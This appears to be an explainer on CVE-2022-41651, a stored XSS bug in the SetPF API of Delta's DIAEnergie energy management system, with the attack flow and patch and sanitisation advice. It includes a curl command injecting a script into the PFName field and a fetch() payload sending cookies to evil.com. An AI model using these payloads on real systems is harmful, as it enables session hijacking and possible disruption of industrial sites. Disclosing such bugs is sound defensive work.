The world of Industrial Control Systems (ICS) is no stranger to security risks, especially when it comes to web-facing components. In late 2022, a notable vulnerability—CVE-2022-41651—was disclosed in the DIAEnergie product by Delta Electronics. This bug exposes all versions prior to v1.9.01.002 to a stored Cross-Site Scripting (XSS) attack through the SetPF API. Let’s break down what this means, how it can be exploited, and what to do about it.

What Is DIAEnergie?

DIAEnergie is an Energy Management System widely deployed in factories, smart buildings, and similar industrial environments. It’s used to track and optimize energy usage, with a variety of web-based interfaces for configuration and reporting.

The Heart of the Issue

CVE-2022-41651 is a Stored Cross-Site Scripting (XSS) vulnerability. It's caused by insufficient input sanitization in the SetPF API endpoint in DIAEnergie. In simple terms: when you send data to this endpoint, the software does not properly clean the user input. As a result, an attacker can inject malicious JavaScript that gets stored and later executed in the browsers of other users who visit the affected page.

Affected Versions: DIAEnergie versions prior to v1.9.01.002

- Vulnerable Endpoint: /api/SetPF

Resources

- NVD - CVE-2022-41651
- Delta Official Advisory (CISA ICS Advisory)

Attack Flow

1. Attacker Authentication/Access: Attacker must have access to the system (authenticated or via vulnerable network).
2. Send Malicious Payload: Attacker sends specially crafted data to the SetPF API endpoint, injecting a JavaScript payload.

Payload Stored: The system stores the payload in its database.

4. User Visits Affected Page: The next time any user loads a page that displays the injected data, the malicious JavaScript runs in their browser context.
5. Outcome: Stealing cookies, performing actions on behalf of the user, keylogging, or other malicious activities.

Example Exploit (Code Snippet)

Let's see how an attacker might exploit this API using curl. This example injects a simple alert payload, but a real attacker could do much worse (e.g., steal session cookies).

curl -X POST "http://target-address/api/SetPF"; \
  -H "Content-Type: application/json" \
  -d '{
    "PFName":"<script>alert(\"XSS by attacker\")</script>",
    "OtherFields":"Values"
  }'

If the vulnerable system saves and displays PFName later on a web page, the script <script>alert("XSS by attacker")</script> will execute for unsuspecting users.

Proof of Concept: What Happens?

A legitimate user visits an administration page that lists all the PFName entries. The attacked entry triggers the script. In a real attack, the code could be changed to:

<script>fetch('http://evil.com/steal?cookie='+document.cookie)</script>


This would send the user’s session cookie to a server controlled by the attacker.

Data Manipulation: Malicious scripts could make actions in the victim's browser.

- ICS Disruption: In industrial contexts, this can have safety, compliance, and operational impacts.

Upgrade ASAP: Update DIAEnergie to v1.9.01.002 or later.

- Input Sanitization: Ensure all user input is sanitized and output is properly escaped before rendering in the browser.
- Network Segmentation: Keep critical ICS systems off the main IT network to reduce attack vectors.

References and More

- Official CISA ICS Advisory: ICSA-23-006-03
- National Vulnerability Database: CVE-2022-41651
- Delta DIAEnergie Product Page

Conclusion

CVE-2022-41651 may seem like a typical web XSS, but when combined with the criticality of industrial systems, it becomes a serious threat. If you’re using DIAEnergie in any environment, patch immediately and review your exposure. Even seemingly small vulnerabilities in ICS software can have big consequences.

Stay secure, and always sanitize your inputs!

If you want to learn more about cross-site scripting and safe development for industrial systems, check out:
- OWASP XSS Prevention Cheat Sheet

Timeline

Published on: 10/27/2022 21:15:00 UTC
Last modified on: 10/28/2022 18:34:00 UTC